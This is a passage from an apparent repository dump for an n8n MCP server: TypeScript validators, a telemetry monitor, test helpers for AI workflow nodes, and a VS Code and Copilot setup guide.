dependsOn: [],
showWhen: prop.displayOptions?.show,
hideWhen: prop.displayOptions?.hide,
notes: []
};
// Extract show conditions
if (prop.displayOptions?.show) {
for (const [key, values] of Object.entries(prop.displayOptions.show)) {
const valuesArray = Array.isArray(values) ? values : [values];
dependency.dependsOn.push({
property: key,
values: valuesArray,
condition: 'equals',
description: this.generateConditionDescription(key, valuesArray, 'show', allProperties)
});
}
}
// Extract hide conditions
if (prop.displayOptions?.hide) {
for (const [key, values] of Object.entries(prop.displayOptions.hide)) {
const valuesArray = Array.isArray(values) ? values : [values];
dependency.dependsOn.push({
property: key,
values: valuesArray,
condition: 'not_equals',
description: this.generateConditionDescription(key, valuesArray, 'hide', allProperties)
});
}
}
// Add helpful notes
if (prop.type === 'collection' || prop.type === 'fixedCollection') {
dependency.notes?.push('This property contains nested properties that may have their own dependencies');
}
if (dependency.dependsOn.length > 1) {
dependency.notes?.push('Multiple conditions must be met for this property to be visible');
}
return dependency;
}
/**
* Generate human-readable condition description
*/
private static generateConditionDescription(
property: string,
values: any[],
type: 'show' | 'hide',
allProperties: any[]
): string {
const prop = allProperties.find(p => p.name === property);
const propName = prop?.displayName || property;
if (type === 'show') {
if (values.length === 1) {
return `Visible when ${propName} is set to "${values[0]}"`;
} else {
return `Visible when ${propName} is one of: ${values.map(v => `"${v}"`).join(', ')}`;
}
} else {
if (values.length === 1) {
return `Hidden when ${propName} is set to "${values[0]}"`;
} else {
return `Hidden when ${propName} is one of: ${values.map(v => `"${v}"`).join(', ')}`;
}
}
}
/**
* Generate suggestions based on dependency analysis
*/
private static generateSuggestions(dependencies: PropertyDependency[], suggestions: string[]): void {
// Find properties that control many others
const controllers = new Map<string, number>();
for (const dep of dependencies) {
for (const condition of dep.dependsOn) {
controllers.set(condition.property, (controllers.get(condition.property) || 0) + 1);
}
}
// Suggest key properties to configure first
const sortedControllers = Array.from(controllers.entries())
.sort((a, b) => b[1] - a[1])
.slice(0, 3);
if (sortedControllers.length > 0) {
suggestions.push(
`Key properties to configure first: ${sortedControllers.map(([prop]) => prop).join(', ')}`
);
}
// Find complex dependency chains
const complexDeps = dependencies.filter(d => d.dependsOn.length > 1);
if (complexDeps.length > 0) {
suggestions.push(
`${complexDeps.length} properties have multiple dependencies - check their conditions carefully`
);
}
// Find circular dependencies (simplified check)
for (const dep of dependencies) {
for (const condition of dep.dependsOn) {
const targetDep = dependencies.find(d => d.property === condition.property);
if (targetDep?.dependsOn.some(c => c.property === dep.property)) {
suggestions.push(
`Circular dependency detected between ${dep.property} and ${condition.property}`
);
}
}
}
}
/**
* Get properties that would be visible/hidden given a configuration
*/
static getVisibilityImpact(
properties: any[],
config: Record<string, any>
): { visible: string[]; hidden: string[]; reasons: Record<string, string> } {
const visible: string[] = [];
const hidden: string[] = [];
const reasons: Record<string, string> = {};
for (const prop of properties) {
const { isVisible, reason } = this.checkVisibility(prop, config);
if (isVisible) {
visible.push(prop.name);
} else {
hidden.push(prop.name);
}
if (reason) {
reasons[prop.name] = reason;
}
}
return { visible, hidden, reasons };
}
/**
* Check if a property is visible given current configuration
*/
private static checkVisibility(
prop: any,
config: Record<string, any>
): { isVisible: boolean; reason?: string } {
if (!prop.displayOptions) {
return { isVisible: true };
}
// Check show conditions
if (prop.displayOptions.show) {
for (const [key, values] of Object.entries(prop.displayOptions.show)) {
const configValue = config[key];
const expectedValues = Array.isArray(values) ? values : [values];
if (!expectedValues.includes(configValue)) {
return {
isVisible: false,
reason: `Hidden because ${key} is "${configValue}" (needs to be ${expectedValues.join(' or ')})`
};
}
}
}
// Check hide conditions
if (prop.displayOptions.hide) {
for (const [key, values] of Object.entries(prop.displayOptions.hide)) {
const configValue = config[key];
const expectedValues = Array.isArray(values) ? values : [values];
if (expectedValues.includes(configValue)) {
return {
isVisible: false,
reason: `Hidden because ${key} is "${configValue}"`
};
}
}
}
return { isVisible: true };
}
}
```
--------------------------------------------------------------------------------
/src/services/universal-expression-validator.ts:
--------------------------------------------------------------------------------
```typescript
/**
* Universal Expression Validator
*
* Validates n8n expressions based on universal rules that apply to ALL expressions,
* regardless of node type or field. This provides 100% reliable detection of
* expression format issues without needing node-specific knowledge.
*/
export interface UniversalValidationResult {
isValid: boolean;
hasExpression: boolean;
needsPrefix: boolean;
isMixedContent: boolean;
confidence: 1.0; // Universal rules have 100% confidence
suggestion?: string;
explanation: string;
}
export class UniversalExpressionValidator {
private static readonly EXPRESSION_PATTERN = /\{\{[\s\S]+?\}\}/;
private static readonly EXPRESSION_PREFIX = '=';
/**
* Universal Rule 1: Any field containing {{ }} MUST have = prefix to be evaluated
* This applies to BOTH pure expressions and mixed content
*
* Examples:
* - "{{ $json.value }}" -> literal text (NOT evaluated)
* - "={{ $json.value }}" -> evaluated expression
* - "Hello {{ $json.name }}!" -> literal text (NOT evaluated)
* - "=Hello {{ $json.name }}!" -> evaluated (expression in mixed content)
* - "=https://api.com/{{ $json.id }}/data" -> evaluated (real example from n8n)
*
* EXCEPTION: Some langchain node fields auto-evaluate without = prefix
* (validated separately by AI-specific validators)
*/
static validateExpressionPrefix(value: any): UniversalValidationResult {
// Only validate strings
if (typeof value !== 'string') {
return {
isValid: true,
hasExpression: false,
needsPrefix: false,
isMixedContent: false,
confidence: 1.0,
explanation: 'Not a string value'
};
}
const hasExpression = this.EXPRESSION_PATTERN.test(value);
if (!hasExpression) {
return {
isValid: true,
hasExpression: false,
needsPrefix: false,
isMixedContent: false,
confidence: 1.0,
explanation: 'No n8n expression found'
};
}
const hasPrefix = value.startsWith(this.EXPRESSION_PREFIX);
const isMixedContent = this.hasMixedContent(value);
// For langchain nodes, we don't validate expression prefixes
// They have AI-specific validators that handle their expression rules
// This is checked at the node level, not here
if (!hasPrefix) {
return {
isValid: false,
hasExpression: true,
needsPrefix: true,
isMixedContent,
confidence: 1.0,
suggestion: `${this.EXPRESSION_PREFIX}${value}`,
explanation: isMixedContent
? 'Mixed literal text and expression requires = prefix for expression evaluation'
: 'Expression requires = prefix to be evaluated'
};
}
return {
isValid: true,
hasExpression: true,
needsPrefix: false,
isMixedContent,
confidence: 1.0,
explanation: 'Expression is properly formatted with = prefix'
};
}
/**
* Check if a string contains both literal text and expressions
* Examples:
* - "Hello {{ $json.name }}" -> mixed content
* - "{{ $json.value }}" -> pure expression
* - "https://api.com/{{ $json.id }}" -> mixed content
*/
private static hasMixedContent(value: string): boolean {
// Remove the = prefix if present for analysis
const content = value.startsWith(this.EXPRESSION_PREFIX)
? value.substring(1)
: value;
// Check if there's any content outside of {{ }}
const withoutExpressions = content.replace(/\{\{[\s\S]+?\}\}/g, '');
return withoutExpressions.trim().length > 0;
}
/**
* Universal Rule 2: Expression syntax validation
* Check for common syntax errors that prevent evaluation
*/
static validateExpressionSyntax(value: string): UniversalValidationResult {
// First, check if there's any expression pattern at all
const hasAnyBrackets = value.includes('{{') || value.includes('}}');
if (!hasAnyBrackets) {
return {
isValid: true,
hasExpression: false,
needsPrefix: false,
isMixedContent: false,
confidence: 1.0,
explanation: 'No expression to validate'
};
}
// Check for unclosed brackets in the entire string
const openCount = (value.match(/\{\{/g) || []).length;
const closeCount = (value.match(/\}\}/g) || []).length;
if (openCount !== closeCount) {
return {
isValid: false,
hasExpression: true,
needsPrefix: false,
isMixedContent: false,
confidence: 1.0,
explanation: `Unmatched expression brackets: ${openCount} opening, ${closeCount} closing`
};
}
// Extract properly matched expressions for further validation
const expressions = value.match(/\{\{[\s\S]+?\}\}/g) || [];
for (const expr of expressions) {
// Check for empty expressions
const content = expr.slice(2, -2).trim();
if (!content) {
return {
isValid: false,
hasExpression: true,
needsPrefix: false,
isMixedContent: false,
confidence: 1.0,
explanation: 'Empty expression {{ }} is not valid'
};
}
}
return {
isValid: true,
hasExpression: expressions.length > 0,
needsPrefix: false,
isMixedContent: this.hasMixedContent(value),
confidence: 1.0,
explanation: 'Expression syntax is valid'
};
}
/**
* Universal Rule 3: Common n8n expression patterns
* Validate against known n8n expression patterns
*/
static validateCommonPatterns(value: string): UniversalValidationResult {
if (!this.EXPRESSION_PATTERN.test(value)) {
return {
isValid: true,
hasExpression: false,
needsPrefix: false,
isMixedContent: false,
confidence: 1.0,
explanation: 'No expression to validate'
};
}
const expressions = value.match(/\{\{[\s\S]+?\}\}/g) || [];
const warnings: string[] = [];
for (const expr of expressions) {
const content = expr.slice(2, -2).trim();
// Check for common mistakes
if (content.includes('${') && content.includes('}')) {
warnings.push(`Template literal syntax \${} found - use n8n syntax instead: ${expr}`);
}
if (content.startsWith('=')) {
warnings.push(`Double prefix detected in expression: ${expr}`);
}
if (content.includes('{{') || content.includes('}}')) {
warnings.push(`Nested brackets detected: ${expr}`);
}
}
if (warnings.length > 0) {
return {
isValid: false,
hasExpression: true,
needsPrefix: false,
isMixedContent: false,
confidence: 1.0,
explanation: warnings.join('; ')
};
}
return {
isValid: true,
hasExpression: true,
needsPrefix: false,
isMixedContent: this.hasMixedContent(value),
confidence: 1.0,
explanation: 'Expression patterns are valid'
};
}
/**
* Perform all universal validations
*/
static validate(value: any): UniversalValidationResult[] {
const results: UniversalValidationResult[] = [];
// Run all universal validators
const prefixResult = this.validateExpressionPrefix(value);
if (!prefixResult.isValid) {
results.push(prefixResult);
}
if (typeof value === 'string') {
const syntaxResult = this.validateExpressionSyntax(value);
if (!syntaxResult.isValid) {
results.push(syntaxResult);
}
const patternResult = this.validateCommonPatterns(value);
if (!patternResult.isValid) {
results.push(patternResult);
}
}
// If no issues found, return a success result
if (results.length === 0) {
results.push({
isValid: true,
hasExpression: prefixResult.hasExpression,
needsPrefix: false,
isMixedContent: prefixResult.isMixedContent,
confidence: 1.0,
explanation: prefixResult.hasExpression
? 'Expression is valid'
: 'No expression found'
});
}
return results;
}
/**
* Get a corrected version of the value
*/
static getCorrectedValue(value: string): string {
if (!this.EXPRESSION_PATTERN.test(value)) {
return value;
}
if (!value.startsWith(this.EXPRESSION_PREFIX)) {
return `${this.EXPRESSION_PREFIX}${value}`;
}
return value;
}
}
```
--------------------------------------------------------------------------------
/src/telemetry/performance-monitor.ts:
--------------------------------------------------------------------------------
```typescript
/**
* Performance Monitor for Telemetry
* Tracks telemetry overhead and provides performance insights
*/
import { logger } from '../utils/logger';
interface PerformanceMetric {
operation: string;
duration: number;
timestamp: number;
memory?: {
heapUsed: number;
heapTotal: number;
external: number;
};
}
export class TelemetryPerformanceMonitor {
private metrics: PerformanceMetric[] = [];
private operationTimers: Map<string, number> = new Map();
private readonly maxMetrics = 1000;
private startupTime = Date.now();
private operationCounts: Map<string, number> = new Map();
/**
* Start timing an operation
*/
startOperation(operation: string): void {
this.operationTimers.set(operation, performance.now());
}
/**
* End timing an operation and record metrics
*/
endOperation(operation: string): number {
const startTime = this.operationTimers.get(operation);
if (!startTime) {
logger.debug(`No start time found for operation: ${operation}`);
return 0;
}
const duration = performance.now() - startTime;
this.operationTimers.delete(operation);
// Record the metric
const metric: PerformanceMetric = {
operation,
duration,
timestamp: Date.now(),
memory: this.captureMemoryUsage()
};
this.recordMetric(metric);
// Update operation count
const count = this.operationCounts.get(operation) || 0;
this.operationCounts.set(operation, count + 1);
return duration;
}
/**
* Record a performance metric
*/
private recordMetric(metric: PerformanceMetric): void {
this.metrics.push(metric);
// Keep only recent metrics
if (this.metrics.length > this.maxMetrics) {
this.metrics.shift();
}
// Log slow operations
if (metric.duration > 100) {
logger.debug(`Slow telemetry operation: ${metric.operation} took ${metric.duration.toFixed(2)}ms`);
}
}
/**
* Capture current memory usage
*/
private captureMemoryUsage() {
if (typeof process !== 'undefined' && process.memoryUsage) {
const usage = process.memoryUsage();
return {
heapUsed: Math.round(usage.heapUsed / 1024 / 1024), // MB
heapTotal: Math.round(usage.heapTotal / 1024 / 1024), // MB
external: Math.round(usage.external / 1024 / 1024) // MB
};
}
return undefined;
}
/**
* Get performance statistics
*/
getStatistics() {
const now = Date.now();
const recentMetrics = this.metrics.filter(m => now - m.timestamp < 60000); // Last minute
if (recentMetrics.length === 0) {
return {
totalOperations: 0,
averageDuration: 0,
slowOperations: 0,
operationsByType: {},
memoryUsage: this.captureMemoryUsage(),
uptimeMs: now - this.startupTime,
overhead: {
percentage: 0,
totalMs: 0
}
};
}
// Calculate statistics
const durations = recentMetrics.map(m => m.duration);
const totalDuration = durations.reduce((a, b) => a + b, 0);
const avgDuration = totalDuration / durations.length;
const slowOps = durations.filter(d => d > 50).length;
// Group by operation type
const operationsByType: Record<string, { count: number; avgDuration: number }> = {};
const typeGroups = new Map<string, number[]>();
for (const metric of recentMetrics) {
const type = metric.operation;
if (!typeGroups.has(type)) {
typeGroups.set(type, []);
}
typeGroups.get(type)!.push(metric.duration);
}
for (const [type, durations] of typeGroups.entries()) {
const sum = durations.reduce((a, b) => a + b, 0);
operationsByType[type] = {
count: durations.length,
avgDuration: Math.round(sum / durations.length * 100) / 100
};
}
// Estimate overhead
const estimatedOverheadPercentage = Math.min(5, avgDuration / 10); // Rough estimate
return {
totalOperations: this.operationCounts.size,
operationsInLastMinute: recentMetrics.length,
averageDuration: Math.round(avgDuration * 100) / 100,
slowOperations: slowOps,
operationsByType,
memoryUsage: this.captureMemoryUsage(),
uptimeMs: now - this.startupTime,
overhead: {
percentage: estimatedOverheadPercentage,
totalMs: totalDuration
}
};
}
/**
* Get detailed performance report
*/
getDetailedReport() {
const stats = this.getStatistics();
const percentiles = this.calculatePercentiles();
return {
summary: stats,
percentiles,
topSlowOperations: this.getTopSlowOperations(5),
memoryTrend: this.getMemoryTrend(),
recommendations: this.generateRecommendations(stats, percentiles)
};
}
/**
* Calculate percentiles for recent operations
*/
private calculatePercentiles() {
const recentDurations = this.metrics
.filter(m => Date.now() - m.timestamp < 60000)
.map(m => m.duration)
.sort((a, b) => a - b);
if (recentDurations.length === 0) {
return { p50: 0, p75: 0, p90: 0, p95: 0, p99: 0 };
}
return {
p50: this.percentile(recentDurations, 0.5),
p75: this.percentile(recentDurations, 0.75),
p90: this.percentile(recentDurations, 0.9),
p95: this.percentile(recentDurations, 0.95),
p99: this.percentile(recentDurations, 0.99)
};
}
/**
* Calculate a specific percentile
*/
private percentile(sorted: number[], p: number): number {
const index = Math.ceil(sorted.length * p) - 1;
return Math.round(sorted[Math.max(0, index)] * 100) / 100;
}
/**
* Get top slow operations
*/
private getTopSlowOperations(n: number) {
return [...this.metrics]
.sort((a, b) => b.duration - a.duration)
.slice(0, n)
.map(m => ({
operation: m.operation,
duration: Math.round(m.duration * 100) / 100,
timestamp: m.timestamp
}));
}
/**
* Get memory usage trend
*/
private getMemoryTrend() {
const metricsWithMemory = this.metrics.filter(m => m.memory);
if (metricsWithMemory.length < 2) {
return { trend: 'stable', delta: 0 };
}
const recent = metricsWithMemory.slice(-10);
const first = recent[0].memory!;
const last = recent[recent.length - 1].memory!;
const delta = last.heapUsed - first.heapUsed;
let trend: 'increasing' | 'decreasing' | 'stable';
if (delta > 5) trend = 'increasing';
else if (delta < -5) trend = 'decreasing';
else trend = 'stable';
return { trend, delta };
}
/**
* Generate performance recommendations
*/
private generateRecommendations(stats: any, percentiles: any): string[] {
const recommendations: string[] = [];
// Check for high average duration
if (stats.averageDuration > 50) {
recommendations.push('Consider batching more events to reduce overhead');
}
// Check for slow operations
if (stats.slowOperations > stats.operationsInLastMinute * 0.1) {
recommendations.push('Many slow operations detected - investigate network latency');
}
// Check p99 percentile
if (percentiles.p99 > 200) {
recommendations.push('P99 latency is high - consider implementing local queue persistence');
}
// Check memory trend
const memoryTrend = this.getMemoryTrend();
if (memoryTrend.trend === 'increasing' && memoryTrend.delta > 10) {
recommendations.push('Memory usage is increasing - check for memory leaks');
}
// Check operation count
if (stats.operationsInLastMinute > 1000) {
recommendations.push('High telemetry volume - ensure rate limiting is effective');
}
return recommendations;
}
/**
* Reset all metrics
*/
reset(): void {
this.metrics = [];
this.operationTimers.clear();
this.operationCounts.clear();
this.startupTime = Date.now();
}
/**
* Get telemetry overhead estimate
*/
getTelemetryOverhead(): { percentage: number; impact: 'minimal' | 'low' | 'moderate' | 'high' } {
const stats = this.getStatistics();
const percentage = stats.overhead.percentage;
let impact: 'minimal' | 'low' | 'moderate' | 'high';
if (percentage < 1) impact = 'minimal';
else if (percentage < 3) impact = 'low';
else if (percentage < 5) impact = 'moderate';
else impact = 'high';
return { percentage, impact };
}
}
```
--------------------------------------------------------------------------------
/tests/integration/ai-validation/helpers.ts:
--------------------------------------------------------------------------------
```typescript
/**
* AI Validation Integration Test Helpers
*
* Helper functions for creating AI workflows and components for testing.
*/
import { WorkflowNode, Workflow } from '../../../src/types/n8n-api';
/**
* Create AI Agent node
*/
export function createAIAgentNode(options: {
id?: string;
name?: string;
position?: [number, number];
promptType?: 'auto' | 'define';
text?: string;
systemMessage?: string;
hasOutputParser?: boolean;
needsFallback?: boolean;
maxIterations?: number;
streamResponse?: boolean;
}): WorkflowNode {
return {
id: options.id || 'ai-agent-1',
name: options.name || 'AI Agent',
type: '@n8n/n8n-nodes-langchain.agent',
typeVersion: 1.7,
position: options.position || [450, 300],
parameters: {
promptType: options.promptType || 'auto',
text: options.text || '',
systemMessage: options.systemMessage || '',
hasOutputParser: options.hasOutputParser || false,
needsFallback: options.needsFallback || false,
maxIterations: options.maxIterations,
options: {
streamResponse: options.streamResponse || false
}
}
};
}
/**
* Create Chat Trigger node
*/
export function createChatTriggerNode(options: {
id?: string;
name?: string;
position?: [number, number];
responseMode?: 'lastNode' | 'streaming';
}): WorkflowNode {
return {
id: options.id || 'chat-trigger-1',
name: options.name || 'Chat Trigger',
type: '@n8n/n8n-nodes-langchain.chatTrigger',
typeVersion: 1.1,
position: options.position || [250, 300],
parameters: {
options: {
responseMode: options.responseMode || 'lastNode'
}
}
};
}
/**
* Create Basic LLM Chain node
*/
export function createBasicLLMChainNode(options: {
id?: string;
name?: string;
position?: [number, number];
promptType?: 'auto' | 'define';
text?: string;
}): WorkflowNode {
return {
id: options.id || 'llm-chain-1',
name: options.name || 'Basic LLM Chain',
type: '@n8n/n8n-nodes-langchain.chainLlm',
typeVersion: 1.4,
position: options.position || [450, 300],
parameters: {
promptType: options.promptType || 'auto',
text: options.text || ''
}
};
}
/**
* Create language model node
*/
export function createLanguageModelNode(
type: 'openai' | 'anthropic' = 'openai',
options: {
id?: string;
name?: string;
position?: [number, number];
} = {}
): WorkflowNode {
const nodeTypes = {
openai: '@n8n/n8n-nodes-langchain.lmChatOpenAi',
anthropic: '@n8n/n8n-nodes-langchain.lmChatAnthropic'
};
return {
id: options.id || `${type}-model-1`,
name: options.name || `${type === 'openai' ? 'OpenAI' : 'Anthropic'} Chat Model`,
type: nodeTypes[type],
typeVersion: 1,
position: options.position || [250, 200],
parameters: {
model: type === 'openai' ? 'gpt-4' : 'claude-3-sonnet',
options: {}
},
credentials: {
[type === 'openai' ? 'openAiApi' : 'anthropicApi']: {
id: '1',
name: `${type} account`
}
}
};
}
/**
* Create HTTP Request Tool node
*/
export function createHTTPRequestToolNode(options: {
id?: string;
name?: string;
position?: [number, number];
toolDescription?: string;
url?: string;
method?: string;
}): WorkflowNode {
return {
id: options.id || 'http-tool-1',
name: options.name || 'HTTP Request Tool',
type: '@n8n/n8n-nodes-langchain.toolHttpRequest',
typeVersion: 1.1,
position: options.position || [250, 400],
parameters: {
toolDescription: options.toolDescription || '',
url: options.url || '',
method: options.method || 'GET'
}
};
}
/**
* Create Code Tool node
*/
export function createCodeToolNode(options: {
id?: string;
name?: string;
position?: [number, number];
toolDescription?: string;
code?: string;
}): WorkflowNode {
return {
id: options.id || 'code-tool-1',
name: options.name || 'Code Tool',
type: '@n8n/n8n-nodes-langchain.toolCode',
typeVersion: 1,
position: options.position || [250, 400],
parameters: {
toolDescription: options.toolDescription || '',
jsCode: options.code || ''
}
};
}
/**
* Create Vector Store Tool node
*/
export function createVectorStoreToolNode(options: {
id?: string;
name?: string;
position?: [number, number];
toolDescription?: string;
}): WorkflowNode {
return {
id: options.id || 'vector-tool-1',
name: options.name || 'Vector Store Tool',
type: '@n8n/n8n-nodes-langchain.toolVectorStore',
typeVersion: 1,
position: options.position || [250, 400],
parameters: {
toolDescription: options.toolDescription || ''
}
};
}
/**
* Create Workflow Tool node
*/
export function createWorkflowToolNode(options: {
id?: string;
name?: string;
position?: [number, number];
toolDescription?: string;
workflowId?: string;
}): WorkflowNode {
return {
id: options.id || 'workflow-tool-1',
name: options.name || 'Workflow Tool',
type: '@n8n/n8n-nodes-langchain.toolWorkflow',
typeVersion: 1.1,
position: options.position || [250, 400],
parameters: {
toolDescription: options.toolDescription || '',
workflowId: options.workflowId || ''
}
};
}
/**
* Create Calculator Tool node
*/
export function createCalculatorToolNode(options: {
id?: string;
name?: string;
position?: [number, number];
}): WorkflowNode {
return {
id: options.id || 'calc-tool-1',
name: options.name || 'Calculator',
type: '@n8n/n8n-nodes-langchain.toolCalculator',
typeVersion: 1,
position: options.position || [250, 400],
parameters: {}
};
}
/**
* Create Memory node (Buffer Window Memory)
*/
export function createMemoryNode(options: {
id?: string;
name?: string;
position?: [number, number];
contextWindowLength?: number;
}): WorkflowNode {
return {
id: options.id || 'memory-1',
name: options.name || 'Window Buffer Memory',
type: '@n8n/n8n-nodes-langchain.memoryBufferWindow',
typeVersion: 1.2,
position: options.position || [250, 500],
parameters: {
contextWindowLength: options.contextWindowLength || 5
}
};
}
/**
* Create Respond to Webhook node (for chat responses)
*/
export function createRespondNode(options: {
id?: string;
name?: string;
position?: [number, number];
}): WorkflowNode {
return {
id: options.id || 'respond-1',
name: options.name || 'Respond to Webhook',
type: 'n8n-nodes-base.respondToWebhook',
typeVersion: 1.1,
position: options.position || [650, 300],
parameters: {
respondWith: 'json',
responseBody: '={{ $json }}'
}
};
}
/**
* Create AI connection (reverse connection for langchain)
*/
export function createAIConnection(
fromNode: string,
toNode: string,
connectionType: string,
index: number = 0
): any {
return {
[fromNode]: {
[connectionType]: [[{ node: toNode, type: connectionType, index }]]
}
};
}
/**
* Create main connection (standard n8n flow)
*/
export function createMainConnection(
fromNode: string,
toNode: string,
index: number = 0
): any {
return {
[fromNode]: {
main: [[{ node: toNode, type: 'main', index }]]
}
};
}
/**
* Merge multiple connection objects
*/
export function mergeConnections(...connections: any[]): any {
const result: any = {};
for (const conn of connections) {
for (const [nodeName, outputs] of Object.entries(conn)) {
if (!result[nodeName]) {
result[nodeName] = {};
}
for (const [outputType, connections] of Object.entries(outputs as any)) {
if (!result[nodeName][outputType]) {
result[nodeName][outputType] = [];
}
result[nodeName][outputType].push(...(connections as any[]));
}
}
}
return result;
}
/**
* Create a complete AI workflow
*/
export function createAIWorkflow(
nodes: WorkflowNode[],
connections: any,
options: {
name?: string;
tags?: string[];
} = {}
): Partial<Workflow> {
return {
name: options.name || 'AI Test Workflow',
nodes,
connections,
settings: {
executionOrder: 'v1'
},
tags: options.tags || ['mcp-integration-test']
};
}
/**
* Wait for n8n operations to complete
*/
export async function waitForWorkflow(workflowId: string, ms: number = 1000): Promise<void> {
await new Promise(resolve => setTimeout(resolve, ms));
}
```
--------------------------------------------------------------------------------
/docs/VS_CODE_PROJECT_SETUP.md:
--------------------------------------------------------------------------------
```markdown
# Visual Studio Code Setup
:white_check_mark: This n8n MCP server is compatible with VS Code + GitHub Copilot (Chat in IDE).
## Preconditions
Assuming you've already deployed the n8n MCP server and connected it to the n8n API, and it's available at:
`https://n8n.your.production.url/`
💡 The deployment process is documented in the [HTTP Deployment Guide](./HTTP_DEPLOYMENT.md).
## Step 1
Start by creating a new VS Code project folder.
## Step 2
Create a file: `.vscode/mcp.json`
```json
{
"inputs": [
{
"type": "promptString",
"id": "n8n-mcp-token",
"description": "Your n8n-MCP AUTH_TOKEN",
"password": true
}
],
"servers": {
"n8n-mcp": {
"type": "http",
"url": "https://n8n.your.production.url/mcp",
"headers": {
"Authorization": "Bearer ${input:n8n-mcp-token}"
}
}
}
}
```
💡 The `inputs` block ensures the token is requested interactively — no need to hardcode secrets.
## Step 3
GitHub Copilot does not provide access to "thinking models" for unpaid users. To improve results, install the official [Sequential Thinking MCP server](https://github.com/modelcontextprotocol/servers/tree/main/src/sequentialthinking) referenced in the [VS Code docs](https://code.visualstudio.com/mcp#:~:text=Install%20Linear-,Sequential%20Thinking,-Model%20Context%20Protocol). This lightweight add-on can turn any LLM into a thinking model by enabling step-by-step reasoning. It's highly recommended to use the n8n-mcp server in combination with a sequential thinking model to generate more accurate outputs.
🔧 Alternatively, you can try enabling this setting in Copilot to unlock "thinking mode" behavior:
_(Note: I haven’t tested this setting myself, as I use the Sequential Thinking MCP instead)_
## Step 4
For the best results when using n8n-MCP with VS Code, use these enhanced system instructions (copy to your project’s `.github/copilot-instructions.md`):
```markdown
You are an expert in n8n automation software using n8n-MCP tools. Your role is to design, build, and validate n8n workflows with maximum accuracy and efficiency.
## Core Workflow Process
1. **ALWAYS start new conversation with**: `tools_documentation()` to understand best practices and available tools.
2. **Discovery Phase** - Find the right nodes:
- Think deeply about user request and the logic you are going to build to fulfill it. Ask follow-up questions to clarify the user's intent, if something is unclear. Then, proceed with the rest of your instructions.
- `search_nodes({query: 'keyword'})` - Search by functionality
- `list_nodes({category: 'trigger'})` - Browse by category
- `list_ai_tools()` - See AI-capable nodes (remember: ANY node can be an AI tool!)
3. **Configuration Phase** - Get node details efficiently:
- `get_node_essentials(nodeType)` - Start here! Only 10-20 essential properties
- `search_node_properties(nodeType, 'auth')` - Find specific properties
- `get_node_for_task('send_email')` - Get pre-configured templates
- `get_node_documentation(nodeType)` - Human-readable docs when needed
- It is good common practice to show a visual representation of the workflow architecture to the user and asking for opinion, before moving forward.
4. **Pre-Validation Phase** - Validate BEFORE building:
- `validate_node_minimal(nodeType, config)` - Quick required fields check
- `validate_node_operation(nodeType, config, profile)` - Full operation-aware validation
- Fix any validation errors before proceeding
5. **Building Phase** - Create the workflow:
- Use validated configurations from step 4
- Connect nodes with proper structure
- Add error handling where appropriate
- Use expressions like $json, $node["NodeName"].json
- Build the workflow in an artifact for easy editing downstream (unless the user asked to create in n8n instance)
6. **Workflow Validation Phase** - Validate complete workflow:
- `validate_workflow(workflow)` - Complete validation including connections
- `validate_workflow_connections(workflow)` - Check structure and AI tool connections
- `validate_workflow_expressions(workflow)` - Validate all n8n expressions
- Fix any issues found before deployment
7. **Deployment Phase** (if n8n API configured):
- `n8n_create_workflow(workflow)` - Deploy validated workflow
- `n8n_validate_workflow({id: 'workflow-id'})` - Post-deployment validation
- `n8n_update_partial_workflow()` - Make incremental updates using diffs
- `n8n_trigger_webhook_workflow()` - Test webhook workflows
## Key Insights
- **USE CODE NODE ONLY WHEN IT IS NECESSARY** - always prefer to use standard nodes over code node. Use code node only when you are sure you need it.
- **VALIDATE EARLY AND OFTEN** - Catch errors before they reach deployment
- **USE DIFF UPDATES** - Use n8n_update_partial_workflow for 80-90% token savings
- **ANY node can be an AI tool** - not just those with usableAsTool=true
- **Pre-validate configurations** - Use validate_node_minimal before building
- **Post-validate workflows** - Always validate complete workflows before deployment
- **Incremental updates** - Use diff operations for existing workflows
- **Test thoroughly** - Validate both locally and after deployment to n8n
## Validation Strategy
### Before Building:
1. validate_node_minimal() - Check required fields
2. validate_node_operation() - Full configuration validation
3. Fix all errors before proceeding
### After Building:
1. validate_workflow() - Complete workflow validation
2. validate_workflow_connections() - Structure validation
3. validate_workflow_expressions() - Expression syntax check
### After Deployment:
1. n8n_validate_workflow({id}) - Validate deployed workflow
2. n8n_list_executions() - Monitor execution status
3. n8n_update_partial_workflow() - Fix issues using diffs
## Response Structure
1. **Discovery**: Show available nodes and options
2. **Pre-Validation**: Validate node configurations first
3. **Configuration**: Show only validated, working configs
4. **Building**: Construct workflow with validated components
5. **Workflow Validation**: Full workflow validation results
6. **Deployment**: Deploy only after all validations pass
7. **Post-Validation**: Verify deployment succeeded
## Example Workflow
### 1. Discovery & Configuration
search_nodes({query: 'slack'})
get_node_essentials('n8n-nodes-base.slack')
### 2. Pre-Validation
validate_node_minimal('n8n-nodes-base.slack', {resource:'message', operation:'send'})
validate_node_operation('n8n-nodes-base.slack', fullConfig, 'runtime')
### 3. Build Workflow
// Create workflow JSON with validated configs
### 4. Workflow Validation
validate_workflow(workflowJson)
validate_workflow_connections(workflowJson)
validate_workflow_expressions(workflowJson)
### 5. Deploy (if configured)
n8n_create_workflow(validatedWorkflow)
n8n_validate_workflow({id: createdWorkflowId})
### 6. Update Using Diffs
n8n_update_partial_workflow({
workflowId: id,
operations: [
{type: 'updateNode', nodeId: 'slack1', changes: {position: [100, 200]}}
]
})
## Important Rules
- ALWAYS validate before building
- ALWAYS validate after building
- NEVER deploy unvalidated workflows
- USE diff operations for updates (80-90% token savings)
- STATE validation results clearly
- FIX all errors before proceeding
```
This helps the agent produce higher-quality, well-structured n8n workflows.
🔧 Important: To ensure the instructions are always included, make sure this checkbox is enabled in your Copilot settings:
## Step 5
Switch GitHub Copilot to Agent mode:
## Step 6 - Try it!
Here’s an example prompt I used:
```
#fetch https://blog.n8n.io/rag-chatbot/
use #sequentialthinking and #n8n-mcp tools to build a new n8n workflow step-by-step following the guidelines in the blog.
In the end, please deploy a fully-functional n8n workflow.
```
🧪 My result wasn’t perfect (a bit messy workflow), but I'm genuinely happy that it created anything autonomously 😄 Stay tuned for updates!
```
--------------------------------------------------------------------------------
/tests/unit/utils/console-manager.test.ts:
--------------------------------------------------------------------------------
```typescript
import { describe, test, expect, beforeEach, afterEach, vi } from 'vitest';
import { ConsoleManager, consoleManager } from '../../../src/utils/console-manager';
describe('ConsoleManager', () => {
let manager: ConsoleManager;
let originalEnv: string | undefined;
beforeEach(() => {
manager = new ConsoleManager();
originalEnv = process.env.MCP_MODE;
// Reset console methods to originals before each test
manager.restore();
});
afterEach(() => {
// Clean up after each test
manager.restore();
